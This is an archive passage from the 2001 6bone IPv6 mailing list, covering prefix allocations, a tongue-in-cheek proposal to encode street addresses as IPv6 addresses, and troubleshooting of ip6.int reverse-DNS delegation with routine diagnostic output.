 3  ut-cisco.ut.ee (3ffe:200:25:0:2d0:97ff:fe91:a001)  1.547 ms  2.310 ms
2.549 ms
 4  2001:6c0:1fff:ffd0::4  19.557 ms  22.475 ms  22.048 ms
 5  spacenet-if.6r1.doc.london.ip6.pipex.net (3ffe:1100:0:c11::1)  175.020
ms  120.682 ms *
 6  * * *
 7  * * *
 8  * * *
 9  *^C

On Tue, 24 Jul 2001, Todd Whipple wrote:

> Zama Networks is pleased to announced our IPv6 news group service.  The
> news server is open only over IPv6.  To read news, point your IPv6 capable
> news client to news.zamanetworks.com.  The server currently has the big
> eight group hierarchies except for alt.*
>
> Currrently, Netscape 6 and TIN 1.5.8 are IPv6 capable news clients.
>
> Enjoy.
>

toomas
-- 
Old musicians never die, they just decompose.


From 6bone-owner  Tue Jul 24 14:14:58 2001
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To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:8270::/28 allocated to CALADAN
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CALADAN in Great Britain has been allocated pTLA 3FFE:8270::/28 having 
finished its 2-week review period.

<http://whois.6bone.net/cgi-bin/whois?CALADAN>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>	


Thanks,

Bob


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To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
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CALADAN in Great Britain has been allocated pTLA 3FFE:8270::/28 having 
finished its 2-week review period.

<http://whois.6bone.net/cgi-bin/whois?CALADAN>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>	


Thanks,

Bob

From 6bone-owner  Wed Jul 25 08:50:27 2001
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From: "Peter Lewis" <peter.lewis@upperside.fr>
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Subject: Deploying IPv6 Conference
Date: Wed, 25 Jul 2001 17:50:34 +0200
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=20
Deploying IPv6 Conference, Paris, 20-23 November 2001.
The dead line for submitting abstracts has been extended to August 15:
http://www.upperside.fr/ipv6/deployipv6cfp.htm



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Date: Fri, 3 Aug 2001 07:02:17 -0400
From: John O Comeau <jcomeau@world.std.com>
To: 6bone@ISI.EDU
Subject: idea for ipv6 allocation scheme
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Since I haven't made a complete fool of myself on the net for a few months
now, it's time to throw caution to the winds and toss out an idea I got
yesterday morning in that semiawake state when lots of ideas of dubious
quality enter the impressionable mind. This one seemed like a winner.

Use street addresses as internet addresses. It's inherently routeable, and
extremely easy to implement, but frivolously wasteful of address
space. Here's an example. Let's say a TLA is assigned for this in the
spirit of 6to4; 2666. My address is 5555 Bogus St, Somecity, FL,
US. Compressing out the spaces and punctuation to reduce the
inefficiency, and assigning a planet code TA (Terra) to make this scheme
last a few years, we get: 5555BOGUSSTSOMECITYFLUSTA. Now inverting the
byte order, and prepending the TLA, we get &fATSULFYTICEMOSTSSUGOB5555
which is 27 bytes long, still way too big. Even using RAD50 (remember
that, anybody?) we could only get it down to 19 bytes. But, due to the
hierarchical nature of this scheme, an entity such as FL (the state
Florida) could help by providing two- or three-letter abbreviations for
each city. And if necessary, each city could provide numbers for every
named street. Numbers can then be packed into 16-bit unsigned small
integers. Now my address is 5555 3333 St, SC, FL, US. Packed, that becomes
&fATSULFCSTS33UU, 16 bytes. Now I have my unique internet address.

Contrived? Of course. Possible to implement? I think so. Each level of the
hierarchy could provide the scheme for compressing the next lower level's
data. This could all be made available publicly in a way such that my Aunt
in Bingham, Maine only needs to find out my street address and type it
into a browser, and the browser can fetch the compression rules from each
level of the hierarchy and generate the address, and she can then see my
webpage.

An address in China would begin &fATNC and the remaining 10 bytes could be
Unicode (big5 would't go too far, would it?). I doubt if 5 characters
would work either, but then again, that country, or city, or city block,
could establish its own method of ensuring that every address can fit into
the 16 bytes of an IPv6 address. Of course, the planet and country codes
can be squished into a byte each, also.

This is probably not precisely the best venue for this discussion, but
there are a lot of intelligent people on this list with the necessary
diversity of viewpoints to give this a thorough beating. And if it meets
dead silence, I'll know it was a complete waste of time typing this in.

Thanks in advance - jc

jcomeau@world.std.com aka John Otis Lene Comeau
Home page: http://world.std.com/~jcomeau/
Disclaimer: Don't risk anything of value based on free advice.
"Anybody can do the difficult stuff. Call me when it's impossible."


From 6bone-owner  Fri Aug  3 05:30:17 2001
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To: John O Comeau <jcomeau@world.std.com>
cc: 6bone@ISI.EDU
Subject: Re: idea for ipv6 allocation scheme
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As if the Privacy people weren't paranoid enough already :)  The MAN will
surely know what they are up to then...

Thanks
Rob Rockell
Principal Engineer
SprintLink Europe/Asia
703-689-6322
Sprint E|Solutions: Thinking outside the 435 box
-----------------------------------------------------------------------

On Fri, 3 Aug 2001, John O Comeau wrote:

->Since I haven't made a complete fool of myself on the net for a few months
->now, it's time to throw caution to the winds and toss out an idea I got
->yesterday morning in that semiawake state when lots of ideas of dubious
->quality enter the impressionable mind. This one seemed like a winner.
->
->Use street addresses as internet addresses. It's inherently routeable, and
->extremely easy to implement, but frivolously wasteful of address
->space. Here's an example. Let's say a TLA is assigned for this in the
->spirit of 6to4; 2666. My address is 5555 Bogus St, Somecity, FL,
->US. Compressing out the spaces and punctuation to reduce the
->inefficiency, and assigning a planet code TA (Terra) to make this scheme
->last a few years, we get: 5555BOGUSSTSOMECITYFLUSTA. Now inverting the
->byte order, and prepending the TLA, we get &fATSULFYTICEMOSTSSUGOB5555
->which is 27 bytes long, still way too big. Even using RAD50 (remember
->that, anybody?) we could only get it down to 19 bytes. But, due to the
->hierarchical nature of this scheme, an entity such as FL (the state
->Florida) could help by providing two- or three-letter abbreviations for
->each city. And if necessary, each city could provide numbers for every
->named street. Numbers can then be packed into 16-bit unsigned small
->integers. Now my address is 5555 3333 St, SC, FL, US. Packed, that becomes
->&fATSULFCSTS33UU, 16 bytes. Now I have my unique internet address.
->
->Contrived? Of course. Possible to implement? I think so. Each level of the
->hierarchy could provide the scheme for compressing the next lower level's
->data. This could all be made available publicly in a way such that my Aunt
->in Bingham, Maine only needs to find out my street address and type it
->into a browser, and the browser can fetch the compression rules from each
->level of the hierarchy and generate the address, and she can then see my
->webpage.
->
->An address in China would begin &fATNC and the remaining 10 bytes could be
->Unicode (big5 would't go too far, would it?). I doubt if 5 characters
->would work either, but then again, that country, or city, or city block,
->could establish its own method of ensuring that every address can fit into
->the 16 bytes of an IPv6 address. Of course, the planet and country codes
->can be squished into a byte each, also.
->
->This is probably not precisely the best venue for this discussion, but
->there are a lot of intelligent people on this list with the necessary
->diversity of viewpoints to give this a thorough beating. And if it meets
->dead silence, I'll know it was a complete waste of time typing this in.
->
->Thanks in advance - jc
->
->jcomeau@world.std.com aka John Otis Lene Comeau
->Home page: http://world.std.com/~jcomeau/
->Disclaimer: Don't risk anything of value based on free advice.
->"Anybody can do the difficult stuff. Call me when it's impossible."
->


From 6bone-owner  Fri Aug  3 10:45:35 2001
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Date: Fri, 03 Aug 2001 13:43:18 -0400
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From: "Brian Haberman" <haberman@nortelnetworks.com>
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To: John O Comeau <jcomeau@world.std.com>
CC: "Robert J. Rockell" <rrockell@sprint.net>, 6bone@ISI.EDU
Subject: Re: idea for ipv6 allocation scheme
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Not to mention that I have an IPv6 NETWORK in my house.  Do I have to
have a IPv6-NAT for that?

Regards,
Brian Haberman

"Robert J. Rockell" wrote:
> 
> As if the Privacy people weren't paranoid enough already :)  The MAN will
> surely know what they are up to then...
> 
> Thanks
> Rob Rockell
> Principal Engineer
> SprintLink Europe/Asia
> 703-689-6322
> Sprint E|Solutions: Thinking outside the 435 box
> -----------------------------------------------------------------------
> 
> On Fri, 3 Aug 2001, John O Comeau wrote:
> 
> ->Since I haven't made a complete fool of myself on the net for a few months
> ->now, it's time to throw caution to the winds and toss out an idea I got
> ->yesterday morning in that semiawake state when lots of ideas of dubious
> ->quality enter the impressionable mind. This one seemed like a winner.
> ->
> ->Use street addresses as internet addresses. It's inherently routeable, and
> ->extremely easy to implement, but frivolously wasteful of address
> ->space. Here's an example. Let's say a TLA is assigned for this in the
> ->spirit of 6to4; 2666. My address is 5555 Bogus St, Somecity, FL,
> ->US. Compressing out the spaces and punctuation to reduce the
> ->inefficiency, and assigning a planet code TA (Terra) to make this scheme
> ->last a few years, we get: 5555BOGUSSTSOMECITYFLUSTA. Now inverting the
> ->byte order, and prepending the TLA, we get &fATSULFYTICEMOSTSSUGOB5555
> ->which is 27 bytes long, still way too big. Even using RAD50 (remember
> ->that, anybody?) we could only get it down to 19 bytes. But, due to the
> ->hierarchical nature of this scheme, an entity such as FL (the state
> ->Florida) could help by providing two- or three-letter abbreviations for
> ->each city. And if necessary, each city could provide numbers for every
> ->named street. Numbers can then be packed into 16-bit unsigned small
> ->integers. Now my address is 5555 3333 St, SC, FL, US. Packed, that becomes
> ->&fATSULFCSTS33UU, 16 bytes. Now I have my unique internet address.
> ->
> ->Contrived? Of course. Possible to implement? I think so. Each level of the
> ->hierarchy could provide the scheme for compressing the next lower level's
> ->data. This could all be made available publicly in a way such that my Aunt
> ->in Bingham, Maine only needs to find out my street address and type it
> ->into a browser, and the browser can fetch the compression rules from each
> ->level of the hierarchy and generate the address, and she can then see my
> ->webpage.
> ->
> ->An address in China would begin &fATNC and the remaining 10 bytes could be
> ->Unicode (big5 would't go too far, would it?). I doubt if 5 characters
> ->would work either, but then again, that country, or city, or city block,
> ->could establish its own method of ensuring that every address can fit into
> ->the 16 bytes of an IPv6 address. Of course, the planet and country codes
> ->can be squished into a byte each, also.
> ->
> ->This is probably not precisely the best venue for this discussion, but
> ->there are a lot of intelligent people on this list with the necessary
> ->diversity of viewpoints to give this a thorough beating. And if it meets
> ->dead silence, I'll know it was a complete waste of time typing this in.
> ->
> ->Thanks in advance - jc
> ->
> ->jcomeau@world.std.com aka John Otis Lene Comeau
> ->Home page: http://world.std.com/~jcomeau/
> ->Disclaimer: Don't risk anything of value based on free advice.
> ->"Anybody can do the difficult stuff. Call me when it's impossible."
> ->

From 6bone-owner  Fri Aug  3 13:55:11 2001
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Subject: Re: idea for ipv6 allocation scheme
Cc: 6bone@ISI.EDU
To: John O Comeau <jcomeau@world.std.com>
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On Friday, August 3, 2001, at 01:02 , John O Comeau wrote:

> ...
<some funny mind development>
> ...
> named street. Numbers can then be packed into 16-bit unsigned small
> integers. Now my address is 5555 3333 St, SC, FL, US. Packed, that 
> becomes
> &fATSULFCSTS33UU, 16 bytes. Now I have my unique internet address.
                     ^^^^^^^^  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
You forgot to think about the possibility of having more than 1 computer 
per street address.
What about those 1/4th mile tall skyscrapers, without counting all the 
wall switches aso...

IPv6 has chosen to keep the last 64bits as a private address part...
Can you shrink all the above in only 8 bytes ?

> ...
<more stuff>
> ...

T.

From 6bone-owner  Fri Aug  3 21:50:35 2001
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Date: Fri, 3 Aug 2001 16:28:04 -0400 (EDT)
From: Thomas Keats <tkeats@rainbowcomputersystems.com>
To: "Robert J. Rockell" <rrockell@sprint.net>
cc: John O Comeau <jcomeau@world.std.com>, 6bone@ISI.EDU
Subject: Re: idea for ipv6 allocation scheme
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Heh, Really, the idea I think would have promise, would be a conspirist's
nightmare ;)

Thomas


-------------------------------------------------
-- From the Desk Of ------------- Thomas Keats --
--------------- RainbowComputers.ca -------------
----------- RainbowComputerSystems.com ----------
-------------------------------------------------
---- AMD -- Intel -- Pandex -- DFI -- ASUS ------
---- MSI -- Creative Labs -- Maxtor -- GVC ------
-- Red Hat -- Slackware -- Debian -- Microsoft --
-------------------------------------------------


On Fri, 3 Aug 2001, Robert J. Rockell wrote:

> As if the Privacy people weren't paranoid enough already :)  The MAN will
> surely know what they are up to then...
> 
> Thanks
> Rob Rockell
> Principal Engineer
> SprintLink Europe/Asia
> 703-689-6322
> Sprint E|Solutions: Thinking outside the 435 box
> -----------------------------------------------------------------------
> 
> On Fri, 3 Aug 2001, John O Comeau wrote:
> 
> ->Since I haven't made a complete fool of myself on the net for a few months
> ->now, it's time to throw caution to the winds and toss out an idea I got
> ->yesterday morning in that semiawake state when lots of ideas of dubious
> ->quality enter the impressionable mind. This one seemed like a winner.
> ->
> ->Use street addresses as internet addresses. It's inherently routeable, and
> ->extremely easy to implement, but frivolously wasteful of address
> ->space. Here's an example. Let's say a TLA is assigned for this in the
> ->spirit of 6to4; 2666. My address is 5555 Bogus St, Somecity, FL,
> ->US. Compressing out the spaces and punctuation to reduce the
> ->inefficiency, and assigning a planet code TA (Terra) to make this scheme
> ->last a few years, we get: 5555BOGUSSTSOMECITYFLUSTA. Now inverting the
> ->byte order, and prepending the TLA, we get &fATSULFYTICEMOSTSSUGOB5555
> ->which is 27 bytes long, still way too big. Even using RAD50 (remember
> ->that, anybody?) we could only get it down to 19 bytes. But, due to the
> ->hierarchical nature of this scheme, an entity such as FL (the state
> ->Florida) could help by providing two- or three-letter abbreviations for
> ->each city. And if necessary, each city could provide numbers for every
> ->named street. Numbers can then be packed into 16-bit unsigned small
> ->integers. Now my address is 5555 3333 St, SC, FL, US. Packed, that becomes
> ->&fATSULFCSTS33UU, 16 bytes. Now I have my unique internet address.
> ->
> ->Contrived? Of course. Possible to implement? I think so. Each level of the
> ->hierarchy could provide the scheme for compressing the next lower level's
> ->data. This could all be made available publicly in a way such that my Aunt
> ->in Bingham, Maine only needs to find out my street address and type it
> ->into a browser, and the browser can fetch the compression rules from each
> ->level of the hierarchy and generate the address, and she can then see my
> ->webpage.
> ->
> ->An address in China would begin &fATNC and the remaining 10 bytes could be
> ->Unicode (big5 would't go too far, would it?). I doubt if 5 characters
> ->would work either, but then again, that country, or city, or city block,
> ->could establish its own method of ensuring that every address can fit into
> ->the 16 bytes of an IPv6 address. Of course, the planet and country codes
> ->can be squished into a byte each, also.
> ->
> ->This is probably not precisely the best venue for this discussion, but
> ->there are a lot of intelligent people on this list with the necessary
> ->diversity of viewpoints to give this a thorough beating. And if it meets
> ->dead silence, I'll know it was a complete waste of time typing this in.
> ->
> ->Thanks in advance - jc
> ->
> ->jcomeau@world.std.com aka John Otis Lene Comeau
> ->Home page: http://world.std.com/~jcomeau/
> ->Disclaimer: Don't risk anything of value based on free advice.
> ->"Anybody can do the difficult stuff. Call me when it's impossible."
> ->
> 


From 6bone-owner  Fri Aug  3 23:47:35 2001
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From: Pekka Savola <pekkas@netcore.fi>
To: John O Comeau <jcomeau@world.std.com>
cc: <6bone@ISI.EDU>
Subject: Re: idea for ipv6 allocation scheme
In-Reply-To: <Pine.SGI.4.21.0108030557150.17981-100000@world.std.com>
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On Fri, 3 Aug 2001, John O Comeau wrote:
> This is probably not precisely the best venue for this discussion, but
> there are a lot of intelligent people on this list with the necessary
> diversity of viewpoints to give this a thorough beating. And if it meets
> dead silence, I'll know it was a complete waste of time typing this in.

You might want to check out Tony Hain's (additional) Provider Independent
assignment idea:

http://www.ietf.org/internet-drafts/draft-hain-ipv6-pi-addr-00.txt
http://www.ietf.org/internet-drafts/draft-hain-ipv6-pi-addr-use-00.txt

This creates a more unique 48-bit prefix and leaves the rest to the users.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords



From 6bone-owner  Mon Aug  6 02:57:17 2001
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From: Pekka Savola <pekkas@netcore.fi>
To: David Gethings <dgething@csoserve0.cbg.ops.eu.uu.net>
cc: John O Comeau <jcomeau@world.std.com>, <6bone@ISI.EDU>
Subject: Re: idea for ipv6 allocation scheme
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On Mon, 6 Aug 2001, David Gethings wrote:
> > http://www.ietf.org/internet-drafts/draft-hain-ipv6-pi-addr-00.txt
> > http://www.ietf.org/internet-drafts/draft-hain-ipv6-pi-addr-use-00.txt
> >
> > This creates a more unique 48-bit prefix and leaves the rest to the users.
> >
> I personally think the above is worse than John's idea. Not only does this
> require that these /48's be globally routed making it near impossible to
> aggregate this address space, but it also gives an attacker the 10m location of
> a persons or organisations internet access point! A bombers paradise.

Any serious bomber can find out where the company is located anyway... :-)

/48's don't need to be globally routed, provided that there are
regional/areal exchanges that are willing to advertise the aggregate
prefixes.  When the number of global /48's increase, I guess the number of
these would increase too.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Mon Aug  6 06:58:46 2001
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Date: Mon, 6 Aug 2001 21:58:39 +0800 (HKT)
From: Cho Man Fai <mfcho@hknet.com>
To: 6bone@ISI.EDU
Subject: ipv6 reverse delegation
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Dear all,

Though RIRs allow the reverse delegation registration, I don't find any
root server in IPv6. May someone advise whether the IPv6 reserver
delegation works?

Thanks in advance.

Rgds,
Kenneth Cho


From 6bone-owner  Mon Aug  6 15:16:54 2001
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From: "Daniel Wilson" <daniel@netcomuk.co.uk>
To: "Pekka Savola" <pekkas@netcore.fi>,
        "David Gethings" <dgething@csoserve0.cbg.ops.eu.uu.net>
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Subject: Re: idea for ipv6 allocation scheme
Date: Mon, 6 Aug 2001 23:16:47 +0100
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Perhaps you could just lob the packet out of the interface that was
literrally "in the right direction" ?

Yeah the bombing thing is a disadvantage - perhaps if the addresses were
less specific it would help ?  I wouldn't place bets on someone finding you
from an address that specified a 10km or even 1km squared area with any
speed.

Just a thought...

--
Dan W

----- Original Message -----
From: "Pekka Savola" <pekkas@netcore.fi>
To: "David Gethings" <dgething@csoserve0.cbg.ops.eu.uu.net>
Cc: "John O Comeau" <jcomeau@world.std.com>; <6bone@ISI.EDU>
Sent: Monday, August 06, 2001 10:56 AM
Subject: Re: idea for ipv6 allocation scheme


> On Mon, 6 Aug 2001, David Gethings wrote:
> > > http://www.ietf.org/internet-drafts/draft-hain-ipv6-pi-addr-00.txt
> > > http://www.ietf.org/internet-drafts/draft-hain-ipv6-pi-addr-use-00.txt
> > >
> > > This creates a more unique 48-bit prefix and leaves the rest to the
users.
> > >
> > I personally think the above is worse than John's idea. Not only does
this
> > require that these /48's be globally routed making it near impossible to
> > aggregate this address space, but it also gives an attacker the 10m
location of
> > a persons or organisations internet access point! A bombers paradise.
>
> Any serious bomber can find out where the company is located anyway... :-)
>
> /48's don't need to be globally routed, provided that there are
> regional/areal exchanges that are willing to advertise the aggregate
> prefixes.  When the number of global /48's increase, I guess the number of
> these would increase too.
>
> --
> Pekka Savola                 "Tell me of difficulties surmounted,
> Netcore Oy                   not those you stumble over and fall"
> Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords
>
>


From 6bone-owner  Mon Aug  6 22:54:21 2001
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: ipv6 reverse delegation
To: mfcho@hknet.com (Cho Man Fai)
Date: Mon, 6 Aug 2001 22:54:16 -0700 (PDT)
Cc: 6bone@ISI.EDU
In-Reply-To: <Pine.BSI.4.21.0108062157100.29499-100000@intranet.hknet.com> from "Cho Man Fai" at Aug 06, 2001 09:58:39 PM
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% 
% 
% Dear all,
% 
% Though RIRs allow the reverse delegation registration, I don't find any
% root server in IPv6. May someone advise whether the IPv6 reserver
% delegation works?
% 
% Thanks in advance.
% 
% Rgds,
% Kenneth Cho
% 

	IPv6 reverse delegations work. Please contact the RIR who
	provided you your delegation for details.  If you have an
	delegation from 6bone, please let me know and we will 
	get your delegation made.

	Regarding root service, there is no production service
	at this time.  There is an experimental service.

-- 
--bill

From 6bone-owner  Wed Aug  8 08:02:59 2001
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Bill Manning'" <bmanning@ISI.EDU>
Cc: <6bone@ISI.EDU>
Subject: RE: ipv6 reverse delegation
Date: Wed, 8 Aug 2001 17:01:56 +0200
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Bill Manning <bmanning@isi.edu>
> 	IPv6 reverse delegations work. Please contact the RIR who
> 	provided you your delegation for details.  If you have an
> 	delegation from 6bone, please let me know and we will 
> 	get your delegation made.
> 

http://www.foobar.tm/dns/ and then ip6.int:

Gives you this picture: http://www.foobar.tm/dns/cache/ip6.int.gif

And the following list:
8<-------------------------------------------------
Wed Aug  8 16:53:32 CEST 2001
y.ip6.int A record currently not present
ip6.int             	NS	munnari.oz.au
z.ip6.int	hostmaster.ep.net	(1925658 10800 900 604800
129600)
 *** ip6.int SOA record at munnari.oz.au is not authoritative
ip6.int has lame delegation to munnari.oz.au
ip6.int             	NS	imag.imag.fr
z.ip6.int	hostmaster.ep.net	(1925658 10800 900 604800
129600)
ip6.int             	NS	ns3.nic.fr
Nameserver ns3.nic.fr not responding
ip6.int SOA record not found at ns3.nic.fr, try again
ip6.int             	NS	z.ip6.int
z.ip6.int	hostmaster.ep.net	(1925658 10800 900 604800
129600)
ip6.int             	NS	flag.ep.net
z.ip6.int	hostmaster.ep.net	(1925658 10800 900 604800
129600)
------------------------------------------------->8

They are still a bit out of sync and broken though :)

Fortunatly the ep.net DDoS has ended.... this way dns does know again
where ip6.int is :)

> 	Regarding root service, there is no production service
> 	at this time.  There is an experimental service.
As long as one has a dual-stacked NS somewhere in his/her/it/... NS
search to the root it will work...

Greets,
 Jeroen


From 6bone-owner  Wed Aug  8 10:38:44 2001
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From: Robert Elz <kre@munnari.OZ.AU>
To: "Jeroen Massar" <jeroen@unfix.org>
cc: "'Bill Manning'" <bmanning@ISI.EDU>, 6bone@ISI.EDU
Subject: Re: ipv6 reverse delegation 
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    Date:        Wed, 8 Aug 2001 17:01:56 +0200
    From:        "Jeroen Massar" <jeroen@unfix.org>
    Message-ID:  <001101c1201b$115d5660$420d640a@HELL>

  |  *** ip6.int SOA record at munnari.oz.au is not authoritative
  | ip6.int has lame delegation to munnari.oz.au

Yes, Bill, what's up, I noticed that things had broken (yet again)
but hadn't gotten around to attempting to find out why...

kre


From 6bone-owner  Wed Aug  8 14:53:08 2001
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Subject: Re: ipv6 reverse delegation
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From: Hal Snyder <hal@vailsys.com>
Date: 08 Aug 2001 16:52:59 -0500
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Bill Manning <bmanning@ISI.EDU> writes:

>       IPv6 reverse delegations work. Please contact the RIR who
>       provided you your delegation for details.  If you have an
>       delegation from 6bone, please let me know and we will
>       get your delegation made.
 
Right, our 6bone reverse delegations work fine, using IP6.INT.

What of rfc3152, deprecating IP6.INT in favor of IP6.ARPA - "the old
usage is not appropriate for new implementations" - should we plan on
using ip6.arpa anytime soon on the 6bone?


From 6bone-owner  Thu Aug  9 01:52:04 2001
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Subject: Re: ipv6 reverse delegation
To: hal@vailsys.com (Hal Snyder)
Date: Thu, 9 Aug 2001 01:52:02 -0700 (PDT)
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In-Reply-To: <878zgute10.fsf@ghidra.vail> from "Hal Snyder" at Aug 08, 2001 04:52:59 PM
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% 
% Bill Manning <bmanning@ISI.EDU> writes:
% 
% >       IPv6 reverse delegations work. Please contact the RIR who
% >       provided you your delegation for details.  If you have an
% >       delegation from 6bone, please let me know and we will
% >       get your delegation made.
%  
% Right, our 6bone reverse delegations work fine, using IP6.INT.
% 
% What of rfc3152, deprecating IP6.INT in favor of IP6.ARPA - "the old
% usage is not appropriate for new implementations" - should we plan on
% using ip6.arpa anytime soon on the 6bone?
% 

	ip6.arpa is an interesting idea and has been slowly
	working its way through the IESG/IAB approval process.
	It was not the product of an IETF WG and was driven
	strictly by political interests.

	At some point, there may actually be nameservers for 
	this proposed delegation.


-- 
--bill

From 6bone-owner  Thu Aug  9 01:55:43 2001
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Date: Thu, 9 Aug 2001 04:55:39 -0400
From: John O Comeau <jcomeau@world.std.com>
To: 6bone@ISI.EDU
Subject: Re: idea for ipv6 allocation scheme
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Just to summarize the responses:

> As if the Privacy people weren't paranoid enough already :)  The MAN
will
> surely know what they are up to then...

The MAN already knows. And I'm as paranoid as any, but the whole purpose
of this is to wire up the 90+% of the world's population who don't care
what the MAN does. I think the MAN might even like the idea enough to foot
the bill.

> Interesting idea but 2 immediate issues come to mind:
> 1. How do I address the 764 devices and processes in my home or office
> or the 140 unique devices in my motor car?
> 2. What if I don't want to give out my address?

Guys like you and me will always be able to get a few gazillion ipv6
addresses using 6to4 or other means. The idea here is to get the rest of
the world online and sharing information and ideas.

> I wouldn't use this scheme for allocating IPv6 addresses, it is the job
of
> DNS to make it easy to address a computer containing your webpage
right? You
> also face the problem of privacy (as someone mentioned), ISPs sharing
> addresses (very large routing tables?), and management costs.

> I don't think it is necessary to start out with the planets name, first
of
> all we are not there yet, secondly I can imagine the lag involved in
> greate distances and a threeway handshake. If we just could send
> information faster than light..

Good points. But I kind of like the idea of eliminating DNS in at least
one addressing scheme. The ISP sharing thing would be a big problem, I was
thinking however of a separate infrastructure, either government-funded or
grassroots-initiative.

I'd still give a byte up for the planet code, for the 'cool' factor if
nothing else.

> Not to mention that I have an IPv6 NETWORK in my house.  Do I have to
> have a IPv6-NAT for that?

Another inveterate hacker. You _could_, but you wouldn't need to, because
you can also get addresses by other methods.

> You forgot to think about the possibility of having more than 1 computer
> per street address.
> What about those 1/4th mile tall skyscrapers, without counting all the
> wall switches aso...

> IPv6 has chosen to keep the last 64bits as a private address part...
> Can you shrink all the above in only 8 bytes ?

Didn't forget that at all. This is not about J. Random Hacker, it's about
normal people (the kind that don't subscribe to lists like this).

And who says we have to play by the rules, anyway? Even if I agree on the
last 64 bits being private, who says I can't subnet those out even to
/128s? And yes, in many cases, with a good compression scheme, I could get
the above into 8 bytes. 2 for the TLA, 1 planet, 1 country, 1
state/province/prefecture etc., 1 city; makes 6. For a small town with
less than 65,000-some-odd addresses that would work. 

> Heh, Really, the idea I think would have promise, would be a
conspirist's
> nightmare ;)

I'm something of a conspiricist myself, but I think speading connectivity
would have more advantages than disadvantages.

> You might want to check out Tony Hain's (additional) Provider
Independent
> assignment idea:

> http://www.ietf.org/internet-drafts/draft-hain-ipv6-pi-addr-00.txt
> http://www.ietf.org/internet-drafts/draft-hain-ipv6-pi-addr-use-00.txt

> This creates a more unique 48-bit prefix and leaves the rest to the
users.

I shall do that. I'm sure there are many ways of doing this.

> I personally think the above is worse than John's idea. Not only does
this
> require that these /48's be globally routed making it near impossible to
> aggregate this address space, but it also gives an attacker the 10m
location of
> a persons or organisations internet access point! A bombers paradise.

> The other problem with John's idea is that the address of a machine is
tied to
> its address. Not only would routers have to contend with new streets and
houses
> being built, but what if you move a lot?

> These problems can be oversome I'm sure, but perhaps it's best discussed
in
> context of the next version of IP (IPv8 anyone?). ;)

You move, you change addresses. That's the point. And if the
infrastructure is laid out well, the impact on routers will be minimal.
 
IPv8 would be great, but I was hoping to do something before I get much
older; I'll bet we'll be facing the time_t crisis before ipv8 gets off the
drawing boards.

> Zip codes are probably a way to go.

> I once thought about network adressing based upon lat and long; the idea
> was that routers could, knowing their own location, use this information
> as a hint to route packets a bit closer (physically) to their
destination
> when network route information was lacking. If you make certain
> constraints on the physical architecture, you can even ditch BGP and do
it
> all with coordinates. Just need to make sure that, if you drew the
network
> as a big diagram, no area bounded by network connections (with no
> connections across it) is convex, or else you have a "peninsula" that
can
> fill up with traffic meant for points beyond it.

> The cost of administering that is probably less than the cost of RIPE et
> al and all those complex BGP implementations and routing tables :-)

Zipcodes would work great in the US, since the USPS already does all the
work of mapping out new addresses to delivery-walk 11-digit codes. An
11-digit decimal number will fit easily into 5 bytes, leaving room for the
TLD and country code. I may have to drop the planet code after all...

Thanks everyone for the comments. Even if the IANA can't be persuaded to
grant a TLA for this crude idea, it could be used by neighborhood LANs
which don't connect to the internet... I'll post a webpage on this if I
make any headway.

jcomeau@world.std.com aka John Otis Lene Comeau
Home page: http://world.std.com/~jcomeau/
Disclaimer: Don't risk anything of value based on free advice.
"Anybody can do the difficult stuff. Call me when it's impossible."


From 6bone-owner  Thu Aug  9 02:58:11 2001
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From: Robert Elz <kre@munnari.OZ.AU>
cc: "Jeroen Massar" <jeroen@unfix.org>, "'Bill Manning'" <bmanning@ISI.EDU>,
        6bone@ISI.EDU
Subject: Re: ipv6 reverse delegation 
In-Reply-To: <5449.997292265@brandenburg.cs.mu.OZ.AU> 
References: <5449.997292265@brandenburg.cs.mu.OZ.AU>  <001101c1201b$115d5660$420d640a@HELL> 
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    Date:        Thu, 09 Aug 2001 00:37:45 +0700
    From:        Robert Elz <kre@munnari.oz.au>
    Message-ID:  <5449.997292265@brandenburg.cs.mu.OZ.AU>

  | Yes, Bill, what's up, I noticed that things had broken (yet again)
  | but hadn't gotten around to attempting to find out why...

I went and looked now...

It seems that the primary server changed, and no-one told me about that,
so the zone simply expired when the previous server stopped being
authoritative...

Now, after updating to the new primary server, I get (after the UDP
query for the SOA that verifies that a zone transfer is needed) ...

need update, serial 1925658
send AXFR query to 198.32.2.66
bufsize = 1024
len = 25
;; ->>HEADER<<- opcode: QUERY, status: REFUSED, id: 20268
;; flags: qr; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0
;;      ip6.int, type = AXFR, class = IN
close(5) succeeded
error receiving zone transfer

Oh well...

kre


From 6bone-owner  Thu Aug  9 03:17:48 2001
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Subject: Re: ipv6 reverse delegation
To: kre@munnari.OZ.AU (Robert Elz)
Date: Thu, 9 Aug 2001 03:14:15 -0700 (PDT)
Cc: jeroen@unfix.org (Jeroen Massar), bmanning@ISI.EDU ('Bill Manning'),
        6bone@ISI.EDU
In-Reply-To: <4382.997351025@brandenburg.cs.mu.OZ.AU> from "Robert Elz" at Aug 09, 2001 04:57:05 PM
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% 
%     Date:        Thu, 09 Aug 2001 00:37:45 +0700
%     From:        Robert Elz <kre@munnari.oz.au>
%     Message-ID:  <5449.997292265@brandenburg.cs.mu.OZ.AU>
% 
%   | Yes, Bill, what's up, I noticed that things had broken (yet again)
%   | but hadn't gotten around to attempting to find out why...
% 
% I went and looked now...
% 
% It seems that the primary server changed, and no-one told me about that,
% so the zone simply expired when the previous server stopped being
% authoritative...
% 
% Now, after updating to the new primary server, I get (after the UDP
% query for the SOA that verifies that a zone transfer is needed) ...
% 
% need update, serial 1925658
% send AXFR query to 198.32.2.66
